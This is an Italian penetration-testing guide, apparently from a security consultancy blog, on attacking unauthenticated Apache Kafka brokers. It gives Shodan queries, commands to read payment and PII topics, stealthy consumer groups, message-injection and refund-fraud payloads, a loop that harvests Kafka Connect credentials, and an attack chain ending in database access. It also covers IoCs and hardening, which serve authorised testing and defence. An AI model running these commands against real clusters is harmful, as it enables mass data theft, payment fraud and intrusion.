Porta 9092 Kafka Pentest: Intercettazione Messaggi e Message Injection

Apache Kafka è la piattaforma di streaming dati più usata al mondo: gestisce flussi di eventi in tempo reale — transazioni, click utente, log applicativi, IoT telemetry, ordini e-commerce — su cluster di broker distribuiti. La porta 9092 TCP è il canale PLAINTEXT dove i producer inviano messaggi e i consumer li leggono. Nel penetration testing, Kafka è un target ad altissimo valore per un motivo semplice: i messaggi contengono i dati di business in tempo reale, e nella configurazione di default non c’è autenticazione. Ti connetti, scegli un topic e leggi tutto — pagamenti, credenziali, PII, comandi di sistema.

LinkedIn lo ha creato per gestire miliardi di eventi al giorno, e oggi lo usano Netflix, Uber, Spotify, ogni banca e fintech degna di nota. Ma la sicurezza è stata aggiunta dopo, come feature opzionale — e la maggior parte delle installazioni che trovo durante i pentest non la usa.

Ricordo un engagement per una piattaforma di food delivery italiana: Kafka con 12 broker, 80+ topic, porta 9092 senza auth. Il topic order.created conteneva nome cliente, indirizzo di consegna, numero di telefono e dettagli del pagamento — in tempo reale, ogni ordine. Il topic rider.location trasmetteva la posizione GPS dei rider ogni 5 secondi. In 10 minuti stavo leggendo i dati di 50.000 ordini e tracciando i rider sulla mappa. Nessuna password, nessun token.

Cos’è la Porta 9092? #

La porta 9092 TCP è la porta di default del protocollo Apache Kafka per le connessioni client PLAINTEXT (non cifrate). È il canale principale attraverso cui i producer pubblicano messaggi sui topic e i consumer li leggono dai broker del cluster Kafka. Se esposta senza autenticazione, chiunque raggiunga la porta 9092 può leggere, scrivere e manipolare tutti i flussi di dati in transito.

La porta 9092 è pericolosa? Sì, se il broker Kafka non ha autenticazione abilitata (il default). Chiunque raggiunga la porta 9092 può leggere tutti i messaggi da qualsiasi topic — dati di pagamento, PII, credenziali di servizio — e iniettare messaggi malevoli. L’impatto è data exfiltration massiva e message injection con potenziale di RCE sulle applicazioni consumer.

Come Verificare se Kafka È Esposto su Internet #

# Shodan
port:9092 "kafka"

# Censys
services.port=9092 AND services.banner:"kafka"

# ZoomEye
port:9092 +kafka

Un broker Kafka esposto su Internet senza autenticazione significa che chiunque al mondo può leggere i tuoi flussi di dati in tempo reale — transazioni, ordini, attività utente. Shodan ne indicizza migliaia, molti con topic attivi e messaggi leggibili. L’esposizione pubblica trasforma un problema di rete interna in un data breach globale.

1. Enumerazione #

Nmap #

nmap -sV -p 9092,9093,9094 10.10.10.40

PORT     STATE SERVICE VERSION
9092/tcp open  kafka   Apache Kafka broker

La porta 9093 è spesso SASL/SSL, la 9094 inter-broker. La 9092 PLAINTEXT è il target primario.

Kafka CLI tools #

# Verifica connessione e lista broker
kafka-broker-api-versions.sh --bootstrap-server 10.10.10.40:9092

Se risponde → connessione riuscita senza auth.

Lista topic #

kafka-topics.sh --bootstrap-server 10.10.10.40:9092 --list

order.created
order.completed
payment.processing
payment.completed
user.registered
user.activity
rider.location
system.notifications
internal.commands
__consumer_offsets

Dieci topic — ordini, pagamenti, dati utente, posizione GPS, comandi interni. Tutto leggibile.

Dettagli topic #

kafka-topics.sh --bootstrap-server 10.10.10.40:9092 --describe --topic payment.processing

Topic: payment.processing  Partitions: 12  Replication: 3
Partition: 0  Leader: 0  Replicas: 0,1,2  Isr: 0,1,2

12 partizioni, replicazione 3 → cluster di produzione con traffico serio.

Metadata cluster #

kafka-metadata.sh --snapshot /tmp/meta --bootstrap-server 10.10.10.40:9092 2>/dev/null
# Oppure
kafkacat -b 10.10.10.40:9092 -L

Metadata for all topics:
 3 brokers:
  broker 0 at kafka-01.corp.local:9092
  broker 1 at kafka-02.corp.local:9092
  broker 2 at kafka-03.corp.local:9092
 10 topics:
  ...

Hostname e IP di tutti i broker — mappa del cluster.

2. Autenticazione (Quasi Mai Presente) #

Kafka supporta SASL (PLAIN, SCRAM-SHA, GSSAPI/Kerberos) e mTLS per l’autenticazione. Ma è disabilitato di default. Il listener PLAINTEXT://0.0.0.0:9092 accetta qualsiasi connessione senza credenziali.

# Test rapido: se questo funziona, non c'è auth
kafka-topics.sh --bootstrap-server 10.10.10.40:9092 --list

Se la configurazione ha SASL_PLAINTEXT o SASL_SSL:

# Prova credenziali default (se SASL/PLAIN)
# File jaas.conf
cat > /tmp/jaas.conf << 'EOF'
KafkaClient {
    org.apache.kafka.common.security.plain.PlainLoginModule required
    username="admin"
    password="admin";
};
EOF

export KAFKA_OPTS="-Djava.security.auth.login.config=/tmp/jaas.conf"
kafka-topics.sh --bootstrap-server 10.10.10.40:9093 --list \
  --command-config /tmp/client.properties

3. Intercettazione Messaggi — L’Attacco Principale #

Leggere messaggi da un topic #

# Leggi tutti i messaggi dall'inizio
kafka-console-consumer.sh --bootstrap-server 10.10.10.40:9092 \
  --topic payment.processing --from-beginning --max-messages 10

{"order_id":"ORD-2026-45678","customer":"Mario Rossi","email":"m.rossi@email.com","amount":129.90,"iban":"IT60X0542811101000000123456","timestamp":"2026-02-14T10:15:00Z"}
{"order_id":"ORD-2026-45679","customer":"Giulia Bianchi","email":"g.bianchi@email.com","amount":45.50,"iban":"IT60X0542811101000000654321","timestamp":"2026-02-14T10:15:05Z"}

Nome, email, importo, IBAN — in tempo reale.

Leggere con kafkacat (kcat) — più flessibile #

# Installa
apt install kafkacat  # o kcat

# Leggi gli ultimi 10 messaggi
kcat -b 10.10.10.40:9092 -t payment.processing -C -o end -c 10

# Dump continuo su file
kcat -b 10.10.10.40:9092 -t payment.processing -C -o beginning > payments_dump.json

# Formato con timestamp e chiave
kcat -b 10.10.10.40:9092 -t payment.processing -C -f '%T %k %s\n' -o end -c 50

Leggere tutti i topic contemporaneamente #

# Script per intercettare tutto
for topic in $(kafka-topics.sh --bootstrap-server 10.10.10.40:9092 --list | grep -v "^__"); do
    echo "[*] Sampling topic: $topic"
    timeout 5 kcat -b 10.10.10.40:9092 -t "$topic" -C -o end -c 3 2>/dev/null
    echo "---"
done

Consumer group — intercettazione stealth #

# Crea un consumer group custom (non interferisce con i consumer reali)
kafka-console-consumer.sh --bootstrap-server 10.10.10.40:9092 \
  --topic payment.processing --from-beginning \
  --group attacker-audit-group

Con un group ID univoco, leggi i messaggi senza “rubarli” ai consumer legittimi.

Consumer group esistenti #

# Lista consumer group
kafka-consumer-groups.sh --bootstrap-server 10.10.10.40:9092 --list

# Dettagli (lag, offset, client)
kafka-consumer-groups.sh --bootstrap-server 10.10.10.40:9092 \
  --describe --group payment-service-group

GROUP                TOPIC                PARTITION  CURRENT-OFFSET  LOG-END-OFFSET  LAG
payment-service-group payment.processing  0          150000          150100          100
payment-service-group payment.processing  1          148000          148050          50

LAG = messaggi non ancora processati. Se il lag è alto → messaggi accumulati leggibili.

4. Message Injection — Iniettare Dati Malevoli #

# Pubblica un messaggio malevolo su un topic
echo '{"order_id":"MALICIOUS","amount":0,"status":"REFUNDED"}' | \
  kafka-console-producer.sh --bootstrap-server 10.10.10.40:9092 --topic order.completed

# Con kcat
echo '{"cmd":"shutdown","target":"all"}' | kcat -b 10.10.10.40:9092 -t internal.commands -P

Se l’applicazione consumer processa i messaggi senza validazione → command injection, business logic bypass, DoS applicativo.

Scenario reale: refund fraud #

# Inietta un evento di rimborso falso
echo '{"order_id":"ORD-2026-45678","type":"REFUND","amount":129.90,"iban":"IT_ATTACKER_IBAN"}' | \
  kafka-console-producer.sh --bootstrap-server 10.10.10.40:9092 --topic payment.refund

Se il sistema di pagamento processa automaticamente i rimborsi dal topic → soldi sul tuo IBAN.

5. Kafka Connect — Credenziali nei Connettori #

Kafka Connect è il framework per integrare Kafka con database, S3, Elasticsearch, etc. La REST API (porta 8083) contiene le configurazioni dei connettori — spesso con credenziali in chiaro.

# Lista connettori
curl -s http://10.10.10.40:8083/connectors | python3 -m json.tool

# Dettagli connettore (con credenziali)
curl -s http://10.10.10.40:8083/connectors/jdbc-source/config | python3 -m json.tool

{
    "connector.class": "io.confluent.connect.jdbc.JdbcSourceConnector",
    "connection.url": "jdbc:postgresql://db01:5432/production",
    "connection.user": "kafka_connect",
    "connection.password": "K@fk4C0nn3ct!",
    "table.whitelist": "orders,users,payments"
}

Credenziali PostgreSQL in chiaro.

# Cerca credenziali in tutti i connettori
for conn in $(curl -s http://10.10.10.40:8083/connectors | python3 -c "import sys,json;[print(c) for c in json.load(sys.stdin)]"); do
    echo "=== $conn ==="
    curl -s "http://10.10.10.40:8083/connectors/$conn/config" | grep -iE "password|secret|key|credential"
done

6. Schema Registry — Struttura dei Dati #

Se c’è un Schema Registry (porta 8081):

# Lista subject (schema per topic)
curl -s http://10.10.10.40:8081/subjects

# Schema di un topic
curl -s http://10.10.10.40:8081/subjects/payment.processing-value/versions/latest | python3 -m json.tool

Lo schema ti dice esattamente la struttura dei messaggi — quali campi aspettarti, tipi di dato. Utile per capire cosa stai leggendo e per creare messaggi injection validi.

7. Kafka su ZooKeeper vs KRaft #

Kafka < 3.0 dipende da ZooKeeper (porta 2181) per i metadati. Kafka 3.0+ supporta KRaft (senza ZK). Se trovi ZooKeeper → leggi la guida porta 2181 per estrarre la configurazione completa del cluster Kafka da lì.

# Da ZooKeeper: broker Kafka
echo "ls /kafka/brokers/ids" | /opt/zookeeper/bin/zkCli.sh -server 10.10.10.40:2181

8. Micro Playbook Reale #

Minuto 0-2 → Connessione e topic list

kafka-topics.sh --bootstrap-server TARGET:9092 --list
kafkacat -b TARGET:9092 -L  # metadata cluster

Minuto 2-10 → Campione messaggi da topic interessanti

for t in order payment user internal; do
    echo "=== $t ==="
    timeout 5 kcat -b TARGET:9092 -t "$t.*" -C -o end -c 5 2>/dev/null
done

Minuto 10-15 → Kafka Connect credentials

curl -s http://TARGET:8083/connectors
# Per ogni connettore → /config → cerca password

Minuto 15+ → Valuta message injection se nel scope

echo '{"test":"pentest-proof"}' | kcat -b TARGET:9092 -t test-topic -P

9. Caso Studio Concreto #

Settore: Food delivery, 200 dipendenti, piattaforma con 50K ordini/giorno.

Scope: Pentest interno, postazione utente standard.

Scansione rete → porta 9092 su 3 server (cluster Kafka). kafka-topics.sh --list → 82 topic. Ho campionato i più interessanti: order.created (dati cliente + IBAN), rider.location (GPS real-time), user.registered (email, telefono, indirizzo), internal.audit (log con session token).

Kafka Connect sulla 8083 → 4 connettori JDBC. Il connettore postgres-sink conteneva le credenziali del PostgreSQL di produzione con permessi di scrittura. Il connettore elasticsearch-sink puntava a un Elasticsearch senza auth.

Tempo dalla scansione ai dati dei 50K ordini: 4 minuti. Root cause: Kafka PLAINTEXT senza auth, Kafka Connect API senza auth, credenziali JDBC in chiaro nei connettori.

10. Errori Comuni Reali Trovati nei Pentest #

1. PLAINTEXT listener senza autenticazione (il default) La configurazione listeners=PLAINTEXT://0.0.0.0:9092 è il default. Nessuna auth, nessuna cifratura. Lo trovo nell'80%+ delle installazioni.

2. Kafka Connect API senza autenticazione La porta 8083 esposta senza auth rivela le credenziali dei connettori JDBC, S3, Elasticsearch. È il finding secondario più frequente.

3. Topic con dati sensibili in chiaro Nessuna cifratura dei payload. PII, dati finanziari, credenziali di servizio — tutto in chiaro nei messaggi.

4. ACL non configurate Kafka supporta ACL per topic e consumer group, ma di default sono disabilitate (allow.everyone.if.no.acl.found=true). Chiunque legge e scrive qualsiasi topic.

5. Auto topic creation abilitato auto.create.topics.enable=true (default) → un attaccante può creare topic arbitrari, utili per data staging o come canale C2.

6. Nessun monitoraggio dei consumer group Un consumer group attacker-* che legge payment.processing non genera alert da nessuna parte.

11. Indicatori di Compromissione (IoC) #

• Consumer group sconosciuti in kafka-consumer-groups.sh --list — nomi non riconosciuti come test-*, audit-*, o group ID casuali
• Connessioni client da IP anomali — verifica kafka-broker-api-versions log per client non autorizzati
• Topic creati di recente non documentati — kafka-topics.sh --describe mostra creation time
• Offset reset anomali — un consumer group che resetta l’offset a earliest su topic sensibili indica lettura storica
• Messaggi malformati nelle code — payload con struttura diversa dallo schema → possibile injection
• Connessioni alla porta 8083 (Kafka Connect) da IP non applicativi
• Log broker (server.log): Accepted connection from /IP_ANOMALO, Created consumer group [nome sospetto]
• Traffico anomalo sulla 9092 in orari non lavorativi — volume di dati elevato verso un singolo client

12. Mini Chain Offensiva Reale #

Kafka :9092 → Topic List → Payment Data Intercept → Kafka Connect :8083 → JDBC Creds → PostgreSQL → Full DB Access

Step 1 — Topic enumeration

kafka-topics.sh --bootstrap-server 10.10.10.40:9092 --list
# → 82 topic inclusi payment.processing, order.created

Step 2 — Intercettazione pagamenti

kcat -b 10.10.10.40:9092 -t payment.processing -C -o end -c 10
# → IBAN, importi, nomi clienti in real-time

Step 3 — Credenziali da Kafka Connect

curl -s http://10.10.10.40:8083/connectors/postgres-sink/config | grep password
# → connection.password: K@fk4C0nn3ct!

Step 4 — Accesso PostgreSQL

psql -h db01 -U kafka_connect -d production -c "SELECT count(*) FROM users;"
# → 500000

Step 5 — Message injection (se nel scope)

echo '{"order_id":"PENTEST","type":"REFUND","amount":0.01}' | kcat -b 10.10.10.40:9092 -t payment.refund -P

Da Kafka senza auth → dati di pagamento in real-time → credenziali database → 500K utenti.

13. Detection & Hardening #

• SASL auth — SASL_SSL con SCRAM-SHA-256 o Kerberos
• TLS — cifratura in transit su tutte le porte
• ACL — kafka-acls.sh per limitare accesso per topic e consumer group
• Disabilita auto topic creation — auto.create.topics.enable=false
• Kafka Connect auth — proteggi la porta 8083 con auth e TLS
• Schema Registry auth — proteggi la porta 8081
• Firewall — 9092, 8083, 8081 raggiungibili solo da producer/consumer autorizzati
• Monitora consumer group anomali e connessioni da IP sconosciuti
• Cifra i payload sensibili a livello applicativo

14. Mini FAQ #

Kafka ha credenziali di default? No — Kafka non ha autenticazione di default. È peggio delle credenziali di default: non c’è proprio il login. Chiunque si connette alla 9092 legge e scrive liberamente. L’auth (SASL) è un’opzione che deve essere esplicitamente configurata.

Posso fare injection di messaggi malevoli? Sì — senza ACL, chiunque può pubblicare messaggi su qualsiasi topic. Se l’applicazione consumer non valida i messaggi → business logic bypass, command injection, DoS. In un pentest, testa con messaggi innocui e documenta il rischio.

Come trovo Kafka se non è sulla 9092? nmap -sV --allports target — il banner Kafka è riconoscibile. Cerca nei config: bootstrap.servers, KAFKA_BOOTSTRAP_SERVERS nei file .env, application.yml, docker-compose.yml. Se trovi ZooKeeper → la configurazione Kafka è lì.

15. Cheat Sheet Finale #

Riferimento: Apache Kafka Security, Kafka ACL docs, Confluent Security, HackTricks. Uso esclusivo in ambienti autorizzati. https://www.codestudy.net/blog/kafka-port-9092-vs-9093/

I flussi di dati della tua azienda scorrono in chiaro su Kafka senza autenticazione? Penetration test HackIta per intercettare quello che un attaccante vedrebbe. Per padroneggiare l’exploitation dei sistemi di streaming: formazione 1:1.